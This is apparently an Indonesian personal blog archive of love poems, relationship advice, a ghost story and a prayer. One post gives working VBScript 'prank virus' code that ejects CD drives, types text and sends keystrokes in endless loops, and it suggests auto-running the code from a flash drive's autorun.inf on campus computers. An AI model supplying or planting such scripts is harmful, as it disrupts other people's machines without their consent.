Jumat, 17 Desember 2010

PUISI CINTA..

Rindu
Rinai rintik hujan pertegas jarak rinduku
Berlari dengan langkah-langkah kecil

Ada decak ... ada ragu ...
Ada gontai dari langkah kecil yang tak tentu
Mengejar hembusan nafas harum nan lembutmu

Dan kala dendam rindu ini datang mendera
Bayangmu sesaat memaku segala gerakku
Mengalihkan mataku pada indah sudut matamu
Yang menampakkan butiran-butiran kasih sayang

Rinduku ...
Bersangkar dalam hati yang tamaram
Di pagar waktu di jaga malam
Melagukan merdunya kepedihan
Bagian terindah dari kebahagiaan yang kita punya

Di sini ... di jarak waktu ini
Aku menjadi pedih !
Mencari cahaya yang telungkup di balik bukit
Memutuskan satu nadi waktu
Menanti jiwamu yang tak ragu ...

Belum kasip rinduku ... hanya untukmu 
Dari Jauh

Dari jauh, aku memandangmu
Lewat semua mata hatiku

Dari jauh, aku mengagumimu
Lewat semua kisah tentangmu

Dari jauh, aku mengkhayalkanmu
Tanpa peduli kata hatiku

Dari jauh, aku larut dalam suka citamu
Bagai bertemu air jernih dipadang tandus

Dari jauh, aku hanyut dalam dukamu
Bagi tersesat dalam mimpi buruk

Dari jauh, kukirim do'a untukmu
Do'a tulus, do'a tak bersyarat

Dari jauh, kulukis engkau dalam tidurku
Lewat beragam bunga tidurku

Dari jauh, aku titipkan hatiku padamu
Agar kau senantiasa setia padaku 


Dirimu Satu ...
Ada denting nada luka
Yang mengalun sepi di relung hati
Bila ingatan akan dirimu hadir mengusik

'Tlah kucoba melangkah menjauh darimu
Melupakan beningnya tatap bola matamu
Sayangnya ... aku tak pernah bisa

Akh ... andai kau mau mendengar
Alun kidung rindu yang kucipta
Semua tentang kamu, hanya kamu ! 


Dalam Sepi
Disaat kusendiri
Teringat dirimu yang jauh disana
Apa kabarmu ?

Terbayang candamu
Yang selalu membuatku bahagia
Tiada rasa duka

Kasih percayalah
Cinta dan sayangku hanya untukmu
Walau jarak telah memisahkan kita
'Tak perlu engkau resah
Yakinlah ...
Kita akan bersama selamanya ...

                      
Harapku Tuhanku
Beri dia yang kucinta
Hati yang tabah
Agar selalu tegak berdiri
Menantang kerasnya hidup
Dan tolong bimbing dia
Selagi dia lupa
Karena jauh dan sepi

Amien ....
Keyakinan Cinta

Dekaplah sayangku dan pejamkan matamu
Izinkalah kukecup bibirmu
Yang indah dan mempesona

Lepaskan rindumu yang tersimpan dihatimu
Biarkan hasrat cinta kita
Bersatu 'tuk selamanya

Janganlah kau ragu akan cintaku
Yakinlah diriku milikmu selalu.
Rindu

Saat kutapaki jalan itu
Seakan kusadari ada dirimu
Berjalan disampingku, Bisu ...

Saat kutatap langit biru
Kubayangkan angan dan mimpiku
Untuk selalu bertemu denganmu

Saat kudengar sebuah lagu
Kuinginkan nada dan irama musikmu
Kau dendangkan hanya untukku

Saat kumasuki tidur malamku
Kumimpikan kau dan aku menyatu
Lalu ingin kukatakan ;
" Kasih ... Aku Rindu ... "



" Pesan Buatmu Kekasih "
Di sini telah ku tulis
Berjuta-juta kesaksian
Tentang kita dan sketsa perjalanan
Namun cerita selalu tak pernah sempurna
Karena jarak terlalu jauh
'Tuk di tempuh oleh anganan kita

Dan angananku telah kutitipkan padamu
Agar rindu itu 'kan menyatu
Dalam kenyataan dan bukan khayalan
Serta angananku belaka

Nurani didinding hati hampir retak
Dekaplah aku yang erat
Agar kita tak terpisahkan
Hanya karena khayalan dan anganan Adakah Kau Rasakan

Setiap mataku terpana padamu
Saat itu pula rasaku 'tak menentu

Detak nadiku ...
Goncangan dadaku ...
Menghanyutkan ketenangan kalbuku

Kadang kusentak diriku
Kutarik pandangan yang terpaku

Kusadarkan jiwaku yang menggebu
Dan kukurung dalam terali hatiku

Karena bimbang dan ragu
Seribu tanya yang masih menghalau
Adakah kau seperti aku ... ?


Cintaku Jauh Disana


Cintaku jauh disana
Gadis manis, sekarang lagi sendiri
Kini hari berlalu perlahan tanpamu disisi

Rambutnya yang panjang, yang pernah kubelai
Matanya yang indah, menusuk sepi
Kini wajah manisnya membelit rinduku

Rindu itu bagaikan bayangan
Wajah – wajah, tiba – tiba menyapa dalam diam
Lalu akupun menjadi semakin rindu


dihati kutulis kerinduanku
tentang kesetiaan dan ketulusan
tentang kesabaran dan pengharapan


milik cinta yang lembut dan setia
tak usah pendamkan rasa
dalam mencari saat bahagia


kalau sampai waktuku nanti
aku pasti kembali
untuk mempertanyakan lagi cintamu


bukan untukmu, bukan untuk siapa - siapa
tapi untuk diriku sendiri
karena aku sayang kamu

hal2 utama dalam menjalin cinta

KASIH SAYANG adalah esensi dari cinta yang murni. Idealnya adalah keseimbangan dalam memberi dan menerima kasih sayang. Belajarlah untuk menyayangi kekasihmu seperti kamu menyayangi dirimu sendiri. Nyatakanlah kasih sayangmu padanya dengan perhatian, bersikap pengertian, bicara dengan kata-kata yang manis, menghidangkan makanan atau minuman kesukaannya, dsb. Jangan sedih dan kecewa kalo' kekasihmu tampak belum sungguh-sungguh menyayangimu. Jangan berhenti menyayanginya, karena cepat atau lambat dia akan merespon kasih sayangmu dengan kasih sayangnya yang murni.
KEPERCAYAAN adalah ungkapan cinta yang mendalam. Rasa saling percaya adalah iklim yang ideal bagi tumbuhnya benih-benih cinta. Sebaliknya, kurangnya rasa percaya merupakan hama yang bisa merusak bunga-bunga cinta dengan kesalahpahaman, kecemburuan dan kekhawatiran. Tambahkanlah terus kepercayaanmu padanya, dan berusahalah agar kepercayaannya padamu juga semakin bulat.
KETULUSAN cinta keluar dari hati nurani yang bersih. Hubungan cinta yang tulus akan ditandai dengan keterus-terangan, keterbukaan dan kejujuran. Tidak ada yang ditutup-tutupi, tidak ada kepura-puraan, tidak ada rekayasa dan tidak ada maksud-maksud terselubung. Betapa rapuhnya cinta yang terjalin tanpa ketulusan.
PERSAHABATAN adalah kebutuhan mutlak dalam suatu jalinan cinta. Cinta bukanlah cinta bila tanpa persahabatan. Sebagai sahabat yang baik, kamu akan menjadi teman bicara, teman bercanda, teman bermain, teman diskusi, teman dikala suka dan duka. Sebagai sahabat, kamu tidak akan menggurui, mengatur, mengekang dan membuatnya takut. Berusahalah untuk menjadi sahabat yang baik dan menyenangkan agar dia merasa lebih nyaman dan bahagia.

KOMUNIKASI adalah jembatan yang bisa menyatukan dua hati dan dua pikiran. Komunikasi yang baik harus bersifat dua arah, tidak ada yang terlalu banyak bicara dan tidak ada yang terlalu banyak diam. Komunikasi yang baik tidak hanya sekedar bicara, tapi juga mendengar dengan telinga dan hati. Komunikasi yang terbuka akan membuat hubungan lebih akrab, dapat mencegah kesalahpahaman dan memudahkan penyelesaian konflik Tanpa komunikasi yang baik, sulit untuk mempertahankan keindahan suatu jalinan cinta. Jadi, peliharalah jalur komunikasi yang lancar dan jangan biarkan tersumbat.
KESETIAAN mencerminkan kekuatan karakter. Mudah sekali mengucapkan janji setia, namun terkadang sulit untuk menjalaninya karena banyak sekali godaan yang bisa menggoyahkan kesetiaan. Tapi dalam keadaan apapun kesetiaan harus dijaga, sebab tidak mungkin mempertahankan keindahan cinta tanpa kesetiaan. Manusiawi sekali waktu kamu mengagumi dan menyukai orang lain yang sangat menarik, namun kesetiaan akan mencegah kamu mengkhianati kekasihmu dengan cara apapun. Kesetiaan juga akan diuji oleh situasi dan kondisi yang buruk. Kesetiaan akan memilih untuk tetap mencintainya ketika dia sakit, ketika dia tidak berdaya, atau ketika dia tidak menarik lagi secara fisik.
RASA HORMAT adalah bagian yang tak terpisahkan dari kasih sayang. Kalo' kamu saling menyayangi, maka kamu akan saling menghormati. Rasa hormat akan memagari keakraban dan keintimanmu agar tidak melanggar hak pribadi yang masih dimiliki oleh sepasang kekasih. Rasa hormat akan membuat kamu menghargai privasinya, menghargai pendapatnya, menghargai keyakinannya dan manghargai dirinya sebagai seorang pribadi yang penting. Kalo' kamu menghormati kekasihmu, kamu akan menjaga kehormatan dan harga dirinya.

MUTIARA CINTA........

Jika kita mencintai seseorang, kita akan senantiasa mendo'akannya walaupun dia tidak berada disisi kita.

Tuhan memberikan kita dua kaki untuk berjalan, dua tangan untuk memegang, dua telinga untuk mendengar dan dua mata untuk melihat. Tetapi mengapa Tuhan hanya menganugerahkan sekeping hati pada kita ? Karena Tuhan telah memberikan sekeping lagi hati pada seseorang untuk kita mencarinya. Itulah Cinta ...

Jangan sesekali mengucapkan selamat tinggal jika kamu masih mau mencoba. Jangan sesekali menyerah jika kamu masih merasa sanggup. Jangan sesekali mengatakan kamu tidak mencintainya lagi, jika kamu masih tidak dapat melupakannya.

Cinta datang kepada orang yang masih mempunyai harapan, walaupun mereka telah dikecewakan. Kepada mereka yang masih percaya, walaupun mereka telah dikhianati. Kepada mereka yang masih ingin mencintai, walaupun mereka telah disakiti sebelumnya dan Kepada mereka yang mempunyai keberanian dan keyakinan untuk membangunkan kembali kepercayaan.

Jangan simpan kata-kata cinta pada orang yang tersayang sehingga dia meninggal dunia lantaran akhirnya kamu terpaksa catatkan kata-kata cinta itu pada pusaranya. Sebaliknya ucapkan kata-kata cinta yang tersimpan dibenakmu itu sekarang selagi ada hayatnya.

Mungkin Tuhan menginginkan kita bertemu dan bercinta dengan orang yang salah sebelum bertemu dengan orang yang tepat, kita harus mengerti bagaimana berterimakasih atas karunia tersebut.

Cinta dapat mengubah pahit menjadi manis, debu beralih emas, keruh menjadi bening, sakit menjadi sembuh,
penjara menjadi telaga, derita menjadi nikmat dan kemarahan menjadi rahmat.

Sungguh menyakitkan mencintai seseorang yang tidak mencintaimu, tetapi lebih menyakitkan adalah
mencintai seseorang dan kamu tidak pernah memiliki keberanian untuk menyatakan cintamu kepadanya.

Seandainya kamu ingin mencintai atau memiliki hati seorang gadis, ibaratkanlah seperti menyunting sekuntum mawar merah. Kadangkala kamu mencium harum mawar tersebut, tetapi kadangkala kamu terasa bisa duri mawar itu menusuk jari.

Hal yang menyedihkan dalam hidup adalah ketika kamu bertemu seseorang yang sangat berarti bagimu, hanya untuk menemukan bahwa pada akhirnya menjadi tidak berarti dan kamu harus membiarkannya pergi.

Kadangkala kamu tidak menghargai orang yang mencintai kamu sepenuh hati, sehingga kamu kehilangannya.
Pada saat itu, tiada guna penyesalan karena perginya tanpa berkata lagi.

Cintailah seseorang itu atas dasar siapa dia sekarang dan bukan siapa dia sebelumnya.
Kisah silam tidak perlu diungkit lagi, kiranya kamu benar-benar mencintainya setulus hati.

Hati-hati dengan cinta, karena cinta juga dapat membuat orang sehat menjadi sakit, orang gemuk menjadi kurus, orang normal menjadi gila, orang kaya menjadi miskin, raja menjadi budak, jika cintanya itu disambut oleh para pecinta PALSU.

Kemungkinan apa yang kamu sayangi atau cintai tersimpan keburukan didalamnya dan kemungkinan
apa yang kamu benci tersimpan kebaikan didalamnya.

Cinta kepada harta artinya bakhil, cinta kepada perempuan artinya alam, cinta kepada diri artinya bijaksana,
cinta kepada mati artinya hidup dan cinta kepada Tuhan artinya Takwa.

Mencintai adalah masalah yang penting bagi manusia
Bila kita mampu mengurai cinta,
Maka hakekat cinta akan berubah menjadi sesuatu
Itulah kenyataan cinta ...

Memperlihatkan cinta adalah suatu kepicikan
Dibanding sesuatu yang agung, yang tersembunyi dibalik cinta
Cinta memang tidak mudah untuk dimengerti ...

Seseorang selalu membutuhkan orang lain
Untuk membantu memahami bagian dari diri kita.
Untuk menyingkap bagian yang tersembunyi dari diri mereka.
Dan untuk percaya dan memahami bagian yang terbaik dari mereka

Ketika kita membantu orang lain.
Kita tidak boleh menyembunyikan apa yang kita ketahui tentangnya
Kita tidak boleh hanya menjadi telinga bagi mereka.

Ketika tangan kehidupan terasa gelap dan malam tak bernyanyi
Itu adalah waktu untuk cinta dan kepercayaan
Dan tangan kehidupan akan bersinar dan bernyanyi
Bila seseorang mencintai dan mempercayai seutuhnya.

Kasih ... kekuatan apakah yang menggerakkanku dalam badai
Mengapa aku menjadi lebih baik dan lebih kuat
Serta lebih yakin pada kehidupan saat badai menerjang
Aku tak mengerti dan sekarang aku menjadi lebih mencintai dirimu
Dari apapun yang ada di alam ini.

Sejak pertama kulihat engkau,
Hal yang paling mendalam yang kurasakan adalah
Kejujuran, kecerdasan dan kehangatan dirimu.
Kini, pun sama hanya seribu kali lebih dalam dan lebih lembut.

Aku mencintaimu sebelum kita berdekatan,
Sejak pertama kulihat engkau.
Aku tahu ini adalah takdir.
Kita akan selalu bersama ...
Dan tidak ada yang akan memisahkan kita

Amien ... ... ...


Cinta sebenarnya tidak buta. Cinta adalah sesuatu yang murni, luhur dan diperlukan.
Yang buta adalah bila cinta itu menguasai dirimu tanpa suatu pertimbangan.

Bukan laut namanya jika airnya tidak berombak, bukan cinta namanya jika perasaan tidak pernah terluka,
bukan kekasih namanya jika hatinya tidak pernah merasa rindu dan cemburu.

Cinta bukanlah dari kata-kata tetapi dari segumpal keinginan diberi pada hati yang memerlukan.
Tangisan juga bukanlah pengobat cinta karena ia tidak mengerti perjalanan hati nurani.

Kejarlah cita-cita sebelum cinta, apabila tercapainya cita-cita maka dengan sendirinya cinta itu akan hadir.

Cinta seringkali akan lari bila kita mencari, tetapi cinta jua seringkali dibiarkan pergi bila ia menghampiri.

Cinta pertama adalah kenangan, Cinta kedua adalah pelajaran, dan cinta yang seterusnya adalah satu keperluan
karena hidup tanpa cinta bagaikan masakan tanpa garam. Karena itu jagalah cinta yang dianugerahkan itu
sebaik-baiknya agar ia terus mekar dan wangi sepanjang musim.

Kecewa bercinta bukan berarti dunia sudah berakhir. Masa depan yang cerah berdasarkan pada masa lalu
yang telah dilupakan. Kamu tidak dapat melangkah dengan baik dalam kehidupan kamu
sampai kamu melupakan kegagalan kamu dan rasa kekecewaan itu.

Hanya diperlukan waktu semenit untuk menafsir seseorang, sejam untuk menyukai seseorang dan
sehari untuk mencintai seseorang, tetapi diperlukan waktu seumur hidup untuk melupakan seseorang.

Hidup tanpa cinta sepeeti makanan tanpa garam. Oleh karena itu, kejarlah cinta seperti kau mengejar waktu dan apabila kau sudah mendapat cinta itu, jagalah ia seperti kau menjaga dirimu. Sesungguhnya cinta itu karunia Tuhan Yang Maha Esa.

Cintailah orang yang engkau kasihi itu sekedranya, mungkin saja dia akan menjadi orang yang
kau benci pada suatu hari kelak. Juga bencilah terhadap orang yang kamu benci itu sekedarnya,
barangkali dia akan menjadi orang yang engkau kasihi pada suatu hari nanti.

Janganlah kau tangisi perpisahan dan kegagalan bercinta, karena pada hakikatnya jodoh itu bukan ditangan manusia.
Atas kasih sayang Tuhan kau dan dia bertemu, dan atas limpahan kasihNya jua kau dan dia dipisahkan
bersama hikmah yang tersembunyi. Pernahkan kau berfikir kebesaranNya itu ?

Cinta itu tidak menjanjikan sebuah rumah tangga aman damai, tetapi penerimaan dan tanggung jawab
adalah asas utama kebahagiaan rumah tangga. Cinta hanya sebuah keindahan perasaan,
cinta akan bertukar menjadi tanggung jawab apabila terbinanya sebuah rumah tangga.

Memberikan seluruh cintamu kepada seseorang bukanlah jaminan dia akan membalas cintamu, jangan mengharapkan
balasan cinta, tunggulah sampai cinta berkembang dihatinya, tetapi jika tidak, berbahagialah karena cinta tumbuh dihatimu.

Cinta bukanlah dari kata-kata, tetapi dari segumpal keinginan diberi pada hati yang memerlukan.

Cinta lebih mudah mekar dihati yang sedang dilanda kecewa, cinta seperti ini adalah cinta yang mengharapkan belas kasihan,
oleh karena itu, bila sepi telah punah maka biasanya cinta juga akan turut terbang.

Cinta yang dikaitkan dengan kepentingan pribadi akan berubah menjadi putus asa.

Dalam sebuah percintaan, janganlah kamu sesali perpisahan tetapi sesalilah pertemuan.
Karena tanpa pertemua tidak akan ada perpisahan. Menikahlah dengan orang yang lebih mencintai diri kita
daripada kita mencintai diri orang itu. Itu lebih baik daripada menikahi orang yang kita cintai tetapi tidak menyintai
diri kita karena adalah lebih mudah mengubah pendirian diri sendiri daripada mengubah pendirian orang lain.

Cinta yang suci dapat dilihat dari pengorbanan seseorang, bukanlah dari pemberian semata.

Ibaratkalah kehilangan cinta itu seumpama hilangnya cincin permata di lautan luas yang tiada bertepi dan harus dilupakan.

Cinta tidak selalu bersama jodoh, tapi jodoh selalu bersama cinta.

Kata pujangga ; Cinta letaknya di hati, meskipun tersembunyi, namun getarannya jelas sekali. Ia mampu mempengaruhi fikiran sekaligus mengendalikan tindakan kita sehingga kadangkala kita melakukan hal terbodoh tanpa kita sadari.

Cinta dimulai dengan senyuman, tuumbuh dengan dekapan dan seringkali berakhir dengan air mata.
Lemparkan seorang yang bahagia dalam bercinta kedalam laut, pasti ia akan membawa seekor ikan.
Lemparkan pula seorang yang gagal dalam bercinta ke dalam gudang roti, pasti ia akan mati kelaparan.

Seandainya kamu dapat berbicara dalam semua bahasa manusia dan alam, tetapi tidak mempunyai
perasaan cinta dan kasih, dirimu tak ubah seperti gong yang bergaung atau sekedar canang yang gemericing.

Cinta adalah keabadian ... dan kenangan adalah hal terindah yang pernah dimiliki.

Siapapun pandai menghayati cinta, tapi tak seorangpun pandai menilai cinta karena cinta bukanlah suatu
objek yang bisa dilihat oleh kasat mata, sebaliknya cinta hanya dapat dirasakan melalui hati dan perasaan.

Cinta mampu melunakkan besi, menghancurkan batu, membangkitkan yang mati dan
meniupkan kehidupan padanya serta membuat budak menjadi pemimpin. Inilah dahsyatnya cinta.

Cinta sebenarnya adalah membiarkan orang yang kamu cintai menjadi dirinya sendiri dan tidak merubahnya menjadi
gambaran yang kamu inginkan. Jika tidak, kamu hanya mencintai pantulan diri sendiri yang kamu temukan didalam dirinya.

Kamu tidak akan pernah tahu bila kamu akan jatuh cinta. Namun apabila sampai saatnya itu,
raihlah dengan kedua tanganmu dan jangan biarkan dia pergi dengan sejuta rasa tanda tanya dihatinya.

Cinta bukanlah kata murah dan lumrah dituturkan dari mulut kemulut tetapi cinta adalah
anugerah Tuhan yang indah dan suci jika manusia dapat menilai kesuciannya.

Bercinta memang mudah, untuk dicintai juga memang mudah. Tapi untuk dicintai oleh orang yang kita cintai
 itulah yang sukar diperoleh.

Jika saja kehadiran cinta sekedar untuk mengecewakan, lebih baik cinta itu tak pernah hadir.

SELAMAT JALAN KASIIH...........




Andi ... Sudah menjalin hubungan kekasih selama dua tahun lamanya dengan Lily. Mereka berniat untuk meresmikannya awal tahun ini. Sayang, rencana itu harus gagal karena Tuhan keburu memanggil-Nya. Andi meninggal karena kecelakaan motor. Kejadiannya persis di malam minggu, saat dia hendak pergi ke rumah Lily. Biasanya, jam tujuh malam dia sudah nongol. Tapi tunggu punya tunggu, Andi belum juga datang.

Lily mulai gelisah, dia mencoba menghubungi Handphonenya, tapi tidak aktif. Sayang Andi tidak punya nomor telepon rumah. Maklum, di Surabaya ini dia anak kost. Sampai jam 10 malam Andi belum juga datang. Lily memutuskan untuk tidak menunggunya lagi. Sambil menahan kesal, dia mencoba untuk tidur. Tapi matanya sulit untuk terpejam. Dia bertanya-tanya dalam hati, Dimanakah Andi berada ?

Dia berniat menanyakan hal itu esok harinya di kampus. " Kalau dia berani selingkuh, Awas yach ! " begitulah kira-kira yang terbesit dibenaknya. Tapi anehnya, rasa was-was makin merajai benaknya. Hingga dia dikejutkan oleh dentang jam dinding yang menujukkan angka 12. " Akh ... aku masih belum bisa tidur "  ucapnya.

Kegelisahannya semakin memuncak. Tiba-tiba Lily merasa haus, kemudian dia keluar kamar dan menuju ruang makan. Dia membuka kulkas dan mengambil sebotol air dingin. Dan saat ia hendak kembali ke kamar, langkahnya mendadak sangat berat, udara dingin menghempas. " Idih, ada apa ini ? kok ngga' biasanya seperti ini " Batinnya.

Entah mengapa, matanya mengarah ke ruang tamu, dan tiba-tiba saja dia melangkah dengan ringan seperti ada yang menggerakkannya. Lily sempat heran, buat apa dia menuju ke ruang tamu ? Di teras rumah, sekilas dia melihat sesosok bayangan hitam. Jantungnya berdetak. " Waduh ... Siapa itu diluar ? jangan-jangan pencuri " Pikirnya.

Ingin rasanya ia berteriak memanggil orang tua, adik atau siapa saja yang ada dirumah. Tapi suaranya tercekat ditenggorokan. Tanpa ia sadari, ia makin mendekati pintu. Disibakkannya tirai jendela sedikit, Betapa terkejutnya dia saat melihat Andi berdiri disana.

Hatinya lega bercampur bingung. Kenapa dia baru datang selarut ini ? Pelan-pelan ia membuka pintu. Andi menyunggingkan senyumnya saat Lily sudah berada dihadapannya.

" Andi ... Kok baru datang sekarang ? "
" Sorry, tadi aku ada urusan mendadak, " Jelasnya
" Wajahmu pucat, tanganmu juga dingin. Kau baik-baik saja Andi ? "
" Aku sangat baik-baik saja. Belum pernah kurasakan sebaik ini. Aku Minta Maaf sudah terlambat datang. Tapi aku ngga' bisa lama-lama, waktuku cuma sebentar, "
" Tapi Andi, kau belum menceritakan urusan mendadak apa yang tadi kau kerjakan, "
" Besok juga kau akan tahu. Aku cuma ingin memberitahumu, aku tak bermaksud datang terlambat. Aku sangat mencintaimu Lily. Kau harus percaya itu,"

Lily merasa heran dengan ucapannya. Tapi belum sempat ia kemukakan keheranannya, Andi mengambil pamit pulang. " Aku Pulang, Jaga dirimu baik-baik, Aku ingin kau bahagia " Katanya sambil mencium kening Lily. Lalu dia pergi dan Lily mencoba untuk memanggilnya, tapi Andi terus melangkah pergi.

Sungguh, malam itu Lily sangat merasa ada yang aneh pada diri Andi. Senyumnya, Sorot matanya, semua terasa dingin. Lily juga baru menyadari kalu Andi tidak membawa motor.

Esoknya, Lily baru tahu bahwa Andi mengalami kecelakaan. Saat itu ia dihubungi oleh temannya dari kampus untuk segera ke Rumah Sakit. Lily hampir tak percaya mendengarnya. Menurut keterangan petugas di rumah sakit, Andi dibawa ke Rumah Sakit sekitar Jam 8 malam dalam keadaan sudah tak bernyawa. Motornya hancur berantakan. Lily begidik ketakutan.

Dengan ditemani seorang teman, ia bergegas ke kamar jenazah. dia membuka kain penutup tubuh Andi. Tampak wajah kekasihnya yang pucat pasi. Bibirnya membiru. " Akh ... tak sanggup aku melihatnya lebih lama lagi " Ucapnya sambil menangis. Yang jelas, pakaian yang dikenakannya adalah sama ketika ia datang jam 12 malam kerumah lily. " Apakah benar-benar arwahnya yang datang ... ? " pikirnya dalam hati

Sampai detik ini Lily belum bisa melupakan kejadian itu, Sosok Andi masih menempati ruang khusus didalam hatinya. Selamat Jalan Kekasihku ...



     
Sebuah Pena ... ...
     Yang dulu untaikan sketsa cinta atau lara ... ...
     ia habis tintanya, tak lagi bisa ia goreskan tangis,
     ia pun beku saat terharu ... ...
     ia tak bisa berikan jawaban saat kubertanya ... ...
     ia tak besarkan lagi hatiku dengan harapan ... ...
     ia mengering ... ... terbaring,
     tak pernah lagi hiraukan dawaiku yang mendenting bening ... ... 

Kamis, 25 November 2010

mohon kpd semua sdr/i rakyat indonesia dimanapun sdr berada

Assalamualaikum warahmatullah wabarokaatuh

Kepada semua saudara/I ku seiman setanah air ..di manapun SAUDARA/I berada
Kita semua bersaudara.. ibarat satu tubuh,bila anggota tubuh yang lain terluka maka anggota yang lain akan merasakanya
Maka dari itu mari kita sama2 peduli kpada nasib kita rakyat dan bangsa Indonesia
Dalam hal ini Saya bermaksud untuk mengajak saudara/I untuk mengamalkan doa ini setiap waktu..!!! kita memohon kepada allah swt  agar kita semua dan bangsa Indonesia di bebaskan  dari kesulitan panjang dan musibah  yang melanda negri kita ini…
Bismillahirrohmaanirrohiim amiin
Alhamdulillahi robbil alamin assholatu wassalamu ala ashrofil anbiyaa wal mursalin wala ahlihi wasohbihi ajma’in
Yaa allah dengan sepenuh perasaan dan pengharapan,dengan segala kerendahan dan kelemahan kami memohon kepadamu
Begini banyak kerunia yang engkau karuniai kepada kami banyak yang jadi sia2 di tangan kami,rohmat dan kebaikanmu turun setiap saat,sementara kesalahan kami naik hamper setiap waktu..
Yaa allah kalo dalam perjalanan hidup ini lebih banyak lalai kami dari pada ingat kami,lebih banyak marah kami dari pada sabar kami,lebih banyak keluhan kami dari pada syukur kami  tunjuki kami jalan mu yang lurus yang apabila kami berpijak di atasnya kami tidaklah trsesat untuk selamanya
Yaa allah sebagai bangsa kami tengah menghadapi berbagai kesulitan dan dilanda berbagai macam musibah …kalau musibah ini merupakan ujian,,yaa allah berikanlah kami kesabaran dan kemampuan mengatasinya..
Kalau musibah ini merupakan teguran berikanlah kami keberanian untuk memperbaiki kekurngan kami dan mengurangi yang berlebihan,,
Kalau musibah ini adalah adzab maka berilah kami kesadaran untuk bertaubat dan kembali kejalanmu yaa allah
Yaa allah berikan kejujuran kepada pelaku ekonomi di negri kami,,jadikan ulama dan cendikiawan kami orang2 yang mengajak,merangkul dan tidak mementingkan dirinya sendiri.
Yaa allah karuniakan kami rakyat dan bangsa Indonesia ini pemimpin2 yang takut kepadamu dan saying kepada kami..berikan mereka kekuatan zahir dan bathin untuk mampu membawa kami rakyat dan bangsa Indonesia ini menjadi rakyat dan bangsa yang adil dalam kemakmuran dan makmur dalam keadilan di bawah naungan ridhomu yaa allah
Yaa allah Selamatkan kami dan generasi penerus kami di dunia ini dan di akherat nanti  ,,,jadikan esok kami lebih baik dari hari ini yaa allaah yaa robbal almiin
Robbana aatina fiddunya hasanah wafil aakhiroti hasanah waqinaa adzaabannar
Washollallahu ala khoirikholqihi waalaa alihi washohbihi ajmain subhaana rabbika rabbil izzati amma yashifuun wasalaamun alal mursaliin walhamdulillahi robbil alamiin …
afdholuma qultuhu ana wannabiyyuna min qobli LAAILAAHAILLALLAH MUHAMMADAN ROSUULULLAH S.A.W
WA AKHIRU DA’WAANA ANILHAMDULILLAHIROBBIL ALAMIN

 WASSALAMUALAIKUM WAROHMATULLAH WABAROKAATUH



Jumat, 19 November 2010

cara membuat virus nakal

bikin virus nakal yuuk...!!.sambil iseng 2 nambah pengalaman....hehehe
Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.


Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop




SAUDARIKU APA YANG MENGHALANGIMU MENUTUP AURAT..???

SYUBHAT DAN SYAHWAT

          Setan bisa masuk kepada manusia melalui dua pintu utama, yaitu syubhat ddan syahwat. Seorang tidak melakukan suatu tindakan maksiat kecuali dari dua pintu tersebut. Dua perkara itu merupakan penghalang sehingga seorang muslim tidak mendapatkan keridhaan Allah, masuk surga dan jauh dari neraka. Di bawah ini akan kita uraikan sebab-sebab utama dari syubhat dan syahwat.

            A. SYUBHAT PERTAMA : MENAHAN GEJOLAK SEKSUAL
          Syubhat ini menyatakan bahwa gejolak nafsu seksual pada setiap manusia adalah sangat besar dan membahayakan. Ironinya, bahaya ini timbul ketika nafsu tersebut ditahan dan dibelenggu. Jika terus menerus ditekan, ia bisa mengakibatkan ledakan dasyat.
